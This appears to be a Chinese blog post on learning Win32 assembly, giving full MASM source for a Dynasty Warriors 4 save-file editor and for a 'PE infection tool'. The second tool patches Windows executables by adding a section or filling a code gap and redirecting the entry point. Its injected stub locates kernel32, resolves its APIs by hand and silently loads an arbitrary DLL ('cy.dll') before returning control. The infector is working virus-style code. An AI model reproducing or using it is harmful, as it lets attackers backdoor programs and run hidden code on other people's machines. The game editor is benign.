win32汇编的学习

我大二下学期从罗云彬的《Windows环境下32位汇编语言程序设计》开始接触学习Win32汇编,然后写了一些小工具。

1. 三国无双存档修改器

这种工具用c或者python写很简单,但是用汇编写也是一种不一样的体验。

.386
.model flat ,stdcall
option casemap:none
include windows.inc
include gdi32.inc
includelib gdi32.lib
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib

_PROCVAR2 typedef proto :dword,:dword,:dword,:dword
PROCVAR2 typedef ptr _PROCVAR2

.data?
hInstance dd ?
jishu dd ?
height dd ?
wideth dd ?
hDllInstance dd ?
lpSetLayeredWindowAttributes PROCVAR2 ?

.const
szFileName db 'C:\Documents and Settings\Administrator\My Documents\KOEI\Shin Sangokumusou 4 Special\Savedata\save.dat',0
szNewFileName db 'C:\Documents and Settings\Administrator\My Documents\KOEI\Shin Sangokumusou 4 Special\save.dat',0
szCaption db '提示',0
szText1 db '您尚未安装此游戏!',0
szText2 db '已成功修改!',0
szText3 db '已成功恢复!',0
szDLL db 'user32.dll',0
szSetLayeredWindowAttributes db 'SetLayeredWindowAttributes',0

.code
_ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam
         local @szBuffer[32]:byte
         local @stRect:RECT 

mov eax,wMsg
.if eax==WM_CLOSE
    invoke SetTimer,hWnd,102,110,NULL
.elseif eax==WM_INITDIALOG
    mov height,0
    mov wideth,0
    invoke LoadIcon,hInstance,301
    invoke SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
    invoke LoadString,hInstance,1,addr @szBuffer,8
    invoke SetDlgItemText,hWnd,202,addr @szBuffer
    invoke GetWindowLong,hWnd,GWL_EXSTYLE
    xor eax,80000H
    invoke  SetWindowLong,hWnd,GWL_EXSTYLE,eax
    invoke LoadLibrary,addr szDLL
    .if eax
        mov hDllInstance,eax
        invoke GetProcAddress,hDllInstance,addr szSetLayeredWindowAttributes
        mov lpSetLayeredWindowAttributes,eax
    .endif
    invoke lpSetLayeredWindowAttributes,hWnd,0,188,2
    invoke MoveWindow,hWnd,400,400,0,0,TRUE 
    invoke SetTimer,hWnd,101,110,NULL
.elseif eax==WM_TIMER
    mov eax,wParam
    .if eax==101
        add height,12       
        add wideth,12       
        .if height>=220
            invoke KillTimer,hWnd,101
        .endif
        invoke GetWindowRect,hWnd,addr @stRect
        invoke MoveWindow,hWnd,@stRect.left,@stRect.top,height,wideth,TRUE
    .elseif eax==102
        sub height,12
        sub wideth,12
        .if height<=0
            invoke KillTimer,hWnd,102
            invoke FreeLibrary,hDllInstance
            invoke EndDialog,hWnd,NULL
        .endif
        invoke GetWindowRect,hWnd,addr @stRect
        invoke MoveWindow,hWnd,@stRect.left,@stRect.top,height,wideth,TRUE
    .endif      
.elseif eax==WM_COMMAND
    mov eax,wParam
    .if eax==IDOK
        .if jishu==48
            mov jishu,0
        .endif
        inc jishu       
        invoke LoadBitmap,hInstance,jishu
        invoke SendDlgItemMessage,hWnd,201,STM_SETIMAGE,IMAGE_BITMAP,eax
        invoke LoadString,hInstance,jishu,addr @szBuffer,8
        invoke SetDlgItemText,hWnd,202,addr @szBuffer
    .elseif eax==207
        .if jishu==1
            mov jishu,49
        .endif
        dec jishu       
        invoke LoadBitmap,hInstance,jishu
        invoke SendDlgItemMessage,hWnd,201,STM_SETIMAGE,IMAGE_BITMAP,eax
        invoke LoadString,hInstance,jishu,addr @szBuffer,8
        invoke SetDlgItemText,hWnd,202,addr @szBuffer
    .elseif eax==208
        call _ProcWujiang
        .if eax==TRUE
            invoke MessageBox,NULL,offset szText2,offset szCaption,MB_OK
        .endif
    .elseif eax==203
        call _ProcBingying
        .if eax==TRUE
            invoke MessageBox,NULL,offset szText2,offset szCaption,MB_OK
        .endif
    .elseif eax==204
        call _ProcDaoju
        .if eax==TRUE
            invoke MessageBox,NULL,offset szText2,offset szCaption,MB_OK
        .endif
    .elseif eax==206
        invoke CopyFile,addr szNewFileName,addr szFileName,FALSE
        invoke MessageBox,NULL,offset szText3,offset szCaption,MB_OK
    .elseif eax==205
        call _ProcBingying
        .if eax==TRUE
            call _ProcDaoju
            push jishu
            mov jishu,1
            .while jishu<49
                call _ProcWujiang
                inc jishu
            .endw
            pop jishu
            invoke MessageBox,NULL,offset szText2,offset szCaption,MB_OK
        .endif
    .endif
.else
    mov eax,FALSE
    ret
.endif
    mov eax,TRUE 
        ret
_ProcDlgMain endp


_ProcWujiang proc 
             local @hFile,@hFileMap,@lpMemory,@yanzheng         

invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
.if eax==INVALID_HANDLE_VALUE
        invoke MessageBox,NULL,offset szText1,offset szCaption,MB_OK
    mov eax,FALSE
    ret 
.endif
mov @hFile,eax
invoke  CreateFileMapping,eax,NULL,PAGE_READWRITE,0,0,NULL
mov @hFileMap,eax
invoke MapViewOfFile,eax,FILE_MAP_WRITE or FILE_MAP_WRITE,0,0,0
mov @lpMemory,eax

mov ebx,@lpMemory
mov ecx,10000
xor eax,eax
.while ecx>0
    dec ecx
    inc ebx
    mov dl,byte ptr [ebx]
    movzx edx,dl
    add eax,edx
    xor edx,edx
.endw
mov @yanzheng,eax

mov ebx,@lpMemory
mov eax,jishu
mov ecx,88
mul ecx
add ebx,eax
mov byte ptr [ebx+150],200
mov byte ptr [ebx+152],200
mov byte ptr [ebx+154],200
mov byte ptr [ebx+155],200
mov byte ptr [ebx+156],96
mov byte ptr [ebx+157],234
mov byte ptr [ebx+158],0
mov byte ptr [ebx+159],14
mov al,byte ptr jishu
mov cl,4
mul cl
dec al
mov byte ptr [ebx+168],al
mov byte ptr [ebx+171],1
mov byte ptr [ebx+172],0
mov byte ptr [ebx+173],19
mov byte ptr [ebx+174],1
mov byte ptr [ebx+175],19
mov byte ptr [ebx+176],2
mov byte ptr [ebx+177],19
mov byte ptr [ebx+178],3
mov byte ptr [ebx+179],19
.if jishu==20
    mov byte ptr [ebx+180],6
.else
    mov byte ptr [ebx+180],4
.endif
mov byte ptr [ebx+181],19
mov byte ptr [ebx+182],10

mov ebx,@lpMemory
mov ecx,10000
xor eax,eax
.while ecx>0
    dec ecx 
    inc ebx
    mov dl,byte ptr [ebx]
    movzx edx,dl
    add eax,edx
    xor edx,edx
.endw
mov edx,eax

mov ebx,@lpMemory
add ebx,45968   
mov eax,dword ptr [ebx]
add eax,edx
sub eax,@yanzheng
mov dword ptr [ebx],eax 

invoke UnmapViewOfFile,@lpMemory
invoke CloseHandle,@hFileMap
invoke CloseHandle,@hFile
mov eax,TRUE
ret
_ProcWujiang endp


_ProcBingying proc 
          local @hFile,@hFileMap,@lpMemory,@yanzheng            

invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
.if eax==INVALID_HANDLE_VALUE
        invoke MessageBox,NULL,offset szText1,offset szCaption,MB_OK 
    mov eax,FALSE
    ret
.endif
mov @hFile,eax
invoke  CreateFileMapping,eax,NULL,PAGE_READWRITE,0,0,NULL
mov @hFileMap,eax
invoke MapViewOfFile,eax,FILE_MAP_WRITE or FILE_MAP_WRITE,0,0,0
mov @lpMemory,eax

mov ebx,@lpMemory
mov ecx,10000
xor eax,eax
.while ecx>0
    dec ecx
    inc ebx
    mov dl,byte ptr [ebx]
    movzx edx,dl
    add eax,edx
    xor edx,edx
.endw
mov @yanzheng,eax

mov ebx,@lpMemory
mov byte ptr [ebx+224],99
mov byte ptr [ebx+225],99
mov byte ptr [ebx+226],99
mov byte ptr [ebx+227],99
mov byte ptr [ebx+228],99
mov byte ptr [ebx+229],99

mov ebx,@lpMemory
mov ecx,10000
xor eax,eax
.while ecx>0
    dec ecx 
    inc ebx
    mov dl,byte ptr [ebx]
    movzx edx,dl
    add eax,edx
    xor edx,edx
.endw
mov edx,eax

mov ebx,@lpMemory
add ebx,45968   
mov eax,dword ptr [ebx]
add eax,edx
sub eax,@yanzheng
mov dword ptr [ebx],eax 

invoke UnmapViewOfFile,@lpMemory
invoke CloseHandle,@hFileMap
invoke CloseHandle,@hFile

mov eax,TRUE
ret
_ProcBingying endp


_ProcDaoju proc
       local @hFile,@hFileMap,@lpMemory,@yanzheng           

invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
.if eax==INVALID_HANDLE_VALUE
    invoke MessageBox,NULL,offset szText1,offset szCaption,MB_OK
    mov eax,FALSE
    ret 
.endif
mov @hFile,eax
invoke  CreateFileMapping,eax,NULL,PAGE_READWRITE,0,0,NULL
mov @hFileMap,eax
invoke MapViewOfFile,eax,FILE_MAP_WRITE or FILE_MAP_WRITE,0,0,0
mov @lpMemory,eax

mov ebx,@lpMemory
mov ecx,10000
xor eax,eax
.while ecx>0
    dec ecx
    inc ebx
    mov dl,byte ptr [ebx]
    movzx edx,dl
    add eax,edx
    xor edx,edx
.endw
mov @yanzheng,eax

mov ebx,@lpMemory
mov ecx,50
.while ecx>0
    dec ecx
    mov byte ptr [ebx+5428],19
    inc ebx
.endw

mov ebx,@lpMemory
mov ecx,8
.while ecx>0
    dec ecx
    mov byte ptr [ebx+6512],1
    mov byte ptr [ebx+6513],170
    mov byte ptr [ebx+6514],242
    mov byte ptr [ebx+6515],182
    mov byte ptr [ebx+6516],174
    mov byte ptr [ebx+6522],4
    mov byte ptr [ebx+6523],10
    mov byte ptr [ebx+6529],1
    mov byte ptr [ebx+6530],15
    mov byte ptr [ebx+6531],255
    mov byte ptr [ebx+6532],255
    mov byte ptr [ebx+6533],255
    mov byte ptr [ebx+6534],255
    mov byte ptr [ebx+6535],255
    mov byte ptr [ebx+6536],255
    mov byte ptr [ebx+6537],255
    mov byte ptr [ebx+6538],255
    mov byte ptr [ebx+6539],255
    mov byte ptr [ebx+6540],255
    mov byte ptr [ebx+6541],255
    mov byte ptr [ebx+6542],255
    mov byte ptr [ebx+6543],255
    mov byte ptr [ebx+6544],14
    add ebx,36
.endw

mov ebx,@lpMemory
mov ecx,10000
xor eax,eax
.while ecx>0
    dec ecx 
    inc ebx
    mov dl,byte ptr [ebx]
    movzx edx,dl
    add eax,edx
    xor edx,edx
.endw
mov edx,eax

mov ebx,@lpMemory
add ebx,45968   
mov eax,dword ptr [ebx]
add eax,edx
sub eax,@yanzheng
mov dword ptr [ebx],eax 

invoke UnmapViewOfFile,@lpMemory
invoke CloseHandle,@hFileMap
invoke CloseHandle,@hFile

mov eax,TRUE
ret
_ProcDaoju endp 


start:
    invoke GetModuleHandle,NULL
        mov hInstance,eax
    mov jishu,1
    invoke CopyFile,addr szFileName,addr szNewFileName,TRUE
    invoke DialogBoxParam,hInstance,101,NULL,offset _ProcDlgMain,NULL
    invoke ExitProcess,NULL
end start

2. PE感染工具

这种代码就是高级语言无法做到的了,哪怕是高级语言中最底层的C也无法做到。

.386
.model flat, stdcall
option casemap :none
include     windows.inc
include     user32.inc
includelib  user32.lib
include     kernel32.inc
includelib  kernel32.lib
        .const 
szErr       db  '文件格式错误!',0
szMySection db  '.adata',0
szExt       db  '_cy.exe',0
        .code
include     MyCode.asm
DllEntry    proc    _hInstance,_dwReason,_dwReserved
        mov eax,TRUE
        ret
DllEntry    Endp

_Align      proc    _dwSize,_dwAlign
        push    edx
        mov eax,_dwSize
        xor edx,edx
        div _dwAlign
        .if edx
            inc eax
        .endif
        mul _dwAlign
        pop edx
        ret
_Align      endp

_Handler    proc    _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext
        pushad
        mov esi,_lpExceptionRecord
        mov edi,_lpContext
        assume  esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
        mov eax,_lpSEH
        push    [eax + 0ch]
        pop [edi].regEbp
        push    [eax + 8]
        pop [edi].regEip
        push    eax
        pop [edi].regEsp
        assume  esi:nothing,edi:nothing
        popad
        mov eax,ExceptionContinueExecution
        ret
_Handler    endp

_ProcessPeFile  proc    _lpFile,_lpPeHead,_dwSize,_lpsz
        local   @szNewFile[MAX_PATH]:byte
        local   @hFile,@dwTemp,@dwEntry,@lpMemory
        local   @dwAddCodeBase,@dwAddCodeFile
        local   @szBuffer[256]:byte
        pushad      
;********************************************************************
; (Part 1)准备工作:1-建立新文件,2-打开文件
;********************************************************************
        invoke  lstrcpy,addr @szNewFile,_lpsz
        invoke  lstrlen,addr @szNewFile
        lea ecx,@szNewFile
        mov byte ptr [ecx+eax-4],0
        invoke  lstrcat,addr @szNewFile,addr szExt
        invoke  CopyFile,_lpsz,addr @szNewFile,FALSE                
        invoke  CreateFile,addr @szNewFile,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \
            FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
        .if eax ==  INVALID_HANDLE_VALUE            
            jmp _Ret
        .endif
        mov @hFile,eax
;********************************************************************
;(Part 2)进行一些准备工作和检测工作
; esi --> 原PeHead,edi --> 新的PeHead
; edx --> 最后一个节表,ebx --> 新加的节表
;********************************************************************
        mov esi,_lpPeHead
        assume  esi:ptr IMAGE_NT_HEADERS,edi:ptr IMAGE_NT_HEADERS
        invoke  GlobalAlloc,GPTR,[esi].OptionalHeader.SizeOfHeaders
        mov @lpMemory,eax
        mov edi,eax
        invoke  RtlMoveMemory,edi,_lpFile,[esi].OptionalHeader.SizeOfHeaders
        add edi,esi
        sub edi,_lpFile
        movzx   eax,[esi].FileHeader.NumberOfSections
        dec eax
        mov ecx,sizeof IMAGE_SECTION_HEADER
        mul ecx

        mov edx,edi
        add edx,eax
        add edx,sizeof IMAGE_NT_HEADERS
        mov ebx,edx
        add ebx,sizeof IMAGE_SECTION_HEADER
        assume  ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER
;********************************************************************
; (Part 2.1)检查是否有空闲的位置可供插入节表
;********************************************************************
        pushad
        mov edi,ebx
        xor eax,eax
        mov ecx,IMAGE_SECTION_HEADER
        repz    scasb
        popad
        .if ! ZERO?
;********************************************************************
; (Part 3.1)如果没有新的节表空间的话,则查看现存代码节的最后
; 是否存在足够的全零空间,如果存在则在此处加入代码
;********************************************************************
            xor eax,eax
            mov ebx,edi
            add ebx,sizeof IMAGE_NT_HEADERS
            .while  ax <=   [esi].FileHeader.NumberOfSections
                mov ecx,[ebx].SizeOfRawData
                .if ecx && ([ebx].Characteristics & IMAGE_SCN_MEM_EXECUTE)
                    sub ecx,[ebx].Misc.VirtualSize
                    .if ecx > offset APPEND_CODE_END-offset APPEND_CODE
                        or  [ebx].Characteristics,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
                        add [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
                        jmp @F
                    .endif
                .endif
                add ebx,IMAGE_SECTION_HEADER
                inc ax
            .endw
            invoke  CloseHandle,@hFile
            invoke  DeleteFile,addr @szNewFile          
            jmp _Ret
            @@:
;********************************************************************
; 将新增代码加入代码节的空隙中
;********************************************************************
            mov eax,[ebx].VirtualAddress
            add eax,[ebx].Misc.VirtualSize
            mov @dwAddCodeBase,eax
            mov eax,[ebx].PointerToRawData
            add eax,[ebx].Misc.VirtualSize
            mov @dwAddCodeFile,eax
            invoke  SetFilePointer,@hFile,@dwAddCodeFile,NULL,FILE_BEGIN
            mov ecx,offset APPEND_CODE_END-offset APPEND_CODE
            invoke  WriteFile,@hFile,offset APPEND_CODE,ecx,addr @dwTemp,NULL
        .else
;********************************************************************
; (Part 3.2)如果有新的节表空间的话,加入一个新的节
;********************************************************************
            inc [edi].FileHeader.NumberOfSections
            mov eax,[edx].PointerToRawData
            add eax,[edx].SizeOfRawData
            mov [ebx].PointerToRawData,eax
            mov ecx,offset APPEND_CODE_END-offset APPEND_CODE
            invoke  _Align,ecx,[esi].OptionalHeader.FileAlignment
            mov [ebx].SizeOfRawData,eax
            invoke  _Align,ecx,[esi].OptionalHeader.SectionAlignment
            add [edi].OptionalHeader.SizeOfCode,eax ;修正SizeOfCode
            add [edi].OptionalHeader.SizeOfImage,eax    ;修正SizeOfImage
            invoke  _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment
            add eax,[edx].VirtualAddress
            mov [ebx].VirtualAddress,eax
            mov [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
            mov [ebx].Characteristics,IMAGE_SCN_CNT_CODE\
                or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
            invoke  lstrcpy,addr [ebx].Name1,addr szMySection
;********************************************************************
; 将新增代码作为一个新的节写到文件尾部
;********************************************************************
            invoke  SetFilePointer,@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN
            invoke  WriteFile,@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,\
                addr @dwTemp,NULL
            mov eax,[ebx].PointerToRawData
            add eax,[ebx].SizeOfRawData
            invoke  SetFilePointer,@hFile,eax,NULL,FILE_BEGIN
            invoke  SetEndOfFile,@hFile
;********************************************************************
            push    [ebx].VirtualAddress    ;eax = 新加代码的基地址
            pop @dwAddCodeBase
            push    [ebx].PointerToRawData
            pop @dwAddCodeFile
        .endif
;********************************************************************
; (Part 4)修正文件入口指针并写入新的文件头
;********************************************************************
        mov eax,@dwAddCodeBase
        add eax,(offset _NewEntry-offset APPEND_CODE)
        mov [edi].OptionalHeader.AddressOfEntryPoint,eax
        invoke  SetFilePointer,@hFile,0,NULL,FILE_BEGIN
        invoke  WriteFile,@hFile,@lpMemory,[esi].OptionalHeader.SizeOfHeaders,\
            addr @dwTemp,NULL
;********************************************************************
; (Part 5)修正新加代码中的 Jmp oldEntry 指令
;********************************************************************
        push    [esi].OptionalHeader.AddressOfEntryPoint
        pop @dwEntry
        mov eax,@dwAddCodeBase
        add eax,(offset _ToOldEntry-offset APPEND_CODE+5)
        sub @dwEntry,eax
        mov ecx,@dwAddCodeFile
        add ecx,(offset _dwOldEntry-offset APPEND_CODE)
        invoke  SetFilePointer,@hFile,ecx,NULL,FILE_BEGIN
        invoke  WriteFile,@hFile,addr @dwEntry,4,addr @dwTemp,NULL
;********************************************************************
; (Part 6)关闭文件
;********************************************************************
        invoke  GlobalFree,@lpMemory
        invoke  CloseHandle,@hFile
_Ret:
        assume  esi:nothing
        popad
        ret
_ProcessPeFile  endp

ConvertFile proc _lpsz      
        local   @hFile,@dwFileSize,@hMapFile,@lpMemory              
;********************************************************************
; 打开文件并建立文件 Mapping
;********************************************************************       
        invoke  CreateFile,_lpsz,GENERIC_READ,FILE_SHARE_READ or \
            FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
        .if eax !=  INVALID_HANDLE_VALUE
            mov @hFile,eax
            invoke  GetFileSize,eax,NULL
            mov @dwFileSize,eax
            .if eax
                invoke  CreateFileMapping,@hFile,NULL,PAGE_READONLY,0,0,NULL
                .if eax
                    mov @hMapFile,eax
                    invoke  MapViewOfFile,eax,FILE_MAP_READ,0,0,0
                    .if eax
                        mov @lpMemory,eax
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
                        assume  fs:nothing
                        push    ebp
                        push    offset _ErrFormat
                        push    offset _Handler
                        push    fs:[0]
                        mov fs:[0],esp
;********************************************************************
; 检测 PE 文件是否有效
;********************************************************************
                        mov esi,@lpMemory
                        assume  esi:ptr IMAGE_DOS_HEADER
                        .if [esi].e_magic != IMAGE_DOS_SIGNATURE
                            jmp _ErrFormat
                        .endif
                        add esi,[esi].e_lfanew
                        assume  esi:ptr IMAGE_NT_HEADERS
                        .if [esi].Signature != IMAGE_NT_SIGNATURE
                            jmp _ErrFormat
                        .endif
                        invoke  _ProcessPeFile,@lpMemory,esi,@dwFileSize,_lpsz
                        jmp _ErrorExit
_ErrFormat:
                        invoke  MessageBox,addr szErr,0,NULL,MB_OK
_ErrorExit:
                        pop fs:[0]
                        add esp,0ch
                        invoke  UnmapViewOfFile,@lpMemory
                    .endif
                    invoke  CloseHandle,@hMapFile
                .endif
                invoke  CloseHandle,@hFile
            .endif
        .endif
@@:
        ret

ConvertFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        End DllEntry
_ProtoGetProcAddress    typedef proto   :dword,:dword
_ProtoLoadLibrary   typedef proto   :dword
_ApiGetProcAddress  typedef ptr _ProtoGetProcAddress
_ApiLoadLibrary     typedef ptr _ProtoLoadLibrary
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
APPEND_CODE equ this byte
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_SEHHandler proc    C _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext

        pushad
        mov esi,_lpExceptionRecord
        mov edi,_lpContext
        assume  esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
        mov eax,_lpSEH
        push    [eax + 0ch]
        pop [edi].regEbp
        push    [eax + 8]
        pop [edi].regEip
        push    eax
        pop [edi].regEsp
        assume  esi:nothing,edi:nothing
        popad
        mov eax,ExceptionContinueExecution
        ret

_SEHHandler endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 在内存中扫描 Kernel32.dll 的基址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetKernelBase  proc    _dwKernelRet
        local   @dwReturn

        pushad
        mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
        call    @F
        @@:
        pop ebx
        sub ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
        assume  fs:nothing
        push    ebp
        lea eax,[ebx + offset _PageError]
        push    eax
        lea eax,[ebx + offset _SEHHandler]
        push    eax
        push    fs:[0]
        mov fs:[0],esp
;********************************************************************
; 查找 Kernel32.dll 的基地址
;********************************************************************
        mov edi,_dwKernelRet
        and edi,0ffff0000h
        .while  TRUE
            .if word ptr [edi] == IMAGE_DOS_SIGNATURE
                mov esi,edi
                add esi,[esi+003ch]
                .if word ptr [esi] == IMAGE_NT_SIGNATURE
                    mov @dwReturn,edi
                    .break
                .endif
            .endif
            _PageError:
            sub edi,010000h
            .break  .if edi < 070000000h
        .endw
        pop fs:[0]
        add esp,0ch
        popad
        mov eax,@dwReturn
        ret

_GetKernelBase  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 从内存中模块的导出表中获取某个 API 的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetApi     proc    _hModule,_lpszApi
        local   @dwReturn,@dwStringLength

        pushad
        mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
        call    @F
        @@:
        pop ebx
        sub ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
        assume  fs:nothing
        push    ebp
        lea eax,[ebx + offset _Error]
        push    eax
        lea eax,[ebx + offset _SEHHandler]
        push    eax
        push    fs:[0]
        mov fs:[0],esp
;********************************************************************
; 计算 API 字符串的长度(带尾部的0)
;********************************************************************
        mov edi,_lpszApi
        mov ecx,-1
        xor al,al
        cld
        repnz   scasb
        mov ecx,edi
        sub ecx,_lpszApi
        mov @dwStringLength,ecx
;********************************************************************
; 从 PE 文件头的数据目录获取导出表地址
;********************************************************************
        mov esi,_hModule
        add esi,[esi + 3ch]
        assume  esi:ptr IMAGE_NT_HEADERS
        mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
        add esi,_hModule
        assume  esi:ptr IMAGE_EXPORT_DIRECTORY
;********************************************************************
; 查找符合名称的导出函数名
;********************************************************************
        mov ebx,[esi].AddressOfNames
        add ebx,_hModule
        xor edx,edx
        .repeat
            push    esi
            mov edi,[ebx]
            add edi,_hModule
            mov esi,_lpszApi
            mov ecx,@dwStringLength
            repz    cmpsb
            .if ZERO?
                pop esi
                jmp @F
            .endif
            pop esi
            add ebx,4
            inc edx
        .until  edx >=  [esi].NumberOfNames
        jmp _Error
@@:
;********************************************************************
; API名称索引 --> 序号索引 --> 地址索引
;********************************************************************
        sub ebx,[esi].AddressOfNames
        sub ebx,_hModule
        shr ebx,1
        add ebx,[esi].AddressOfNameOrdinals
        add ebx,_hModule
        movzx   eax,word ptr [ebx]
        shl eax,2
        add eax,[esi].AddressOfFunctions
        add eax,_hModule
;********************************************************************
; 从地址表得到导出函数地址
;********************************************************************
        mov eax,[eax]
        add eax,_hModule
        mov @dwReturn,eax
_Error:
        pop fs:[0]
        add esp,0ch
        assume  esi:nothing
        popad
        mov eax,@dwReturn
        ret

_GetApi     endp


;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
hDllKernel32    dd  ?
_GetProcAddress _ApiGetProcAddress  ?
_LoadLibrary    _ApiLoadLibrary     ?
szLoadLibrary   db  'LoadLibraryA',0
szGetProcAddress db 'GetProcAddress',0
szDllName   db  'cy.dll',0
;********************************************************************
; 新的入口地址
;********************************************************************
_NewEntry:
;********************************************************************
; 重定位并获取一些 API 的入口地址
;********************************************************************
        call    @F
        @@:
        pop ebx
        sub ebx,offset @B
;********************************************************************
        invoke  _GetKernelBase,[esp]    ;获取Kernel32.dll基址
        .if ! eax
            jmp _ToOldEntry
        .endif
        mov [ebx+hDllKernel32],eax  ;获取GetProcAddress入口
        lea eax,[ebx+szGetProcAddress]
        invoke  _GetApi,[ebx+hDllKernel32],eax
        .if ! eax
            jmp _ToOldEntry
        .endif
        mov [ebx+_GetProcAddress],eax
;********************************************************************
        lea eax,[ebx+szLoadLibrary] ;获取LoadLibrary入口
        invoke  [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
        mov [ebx+_LoadLibrary],eax      
;********************************************************************
        lea eax,[ebx+szDllName]
        invoke [ebx+_LoadLibrary],eax       
_ToOldEntry:
        db  0e9h    ;0e9h是jmp xxxxxxxx的机器码
_dwOldEntry:
        dd  ?   ;用来填入原来的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
APPEND_CODE_END equ this byte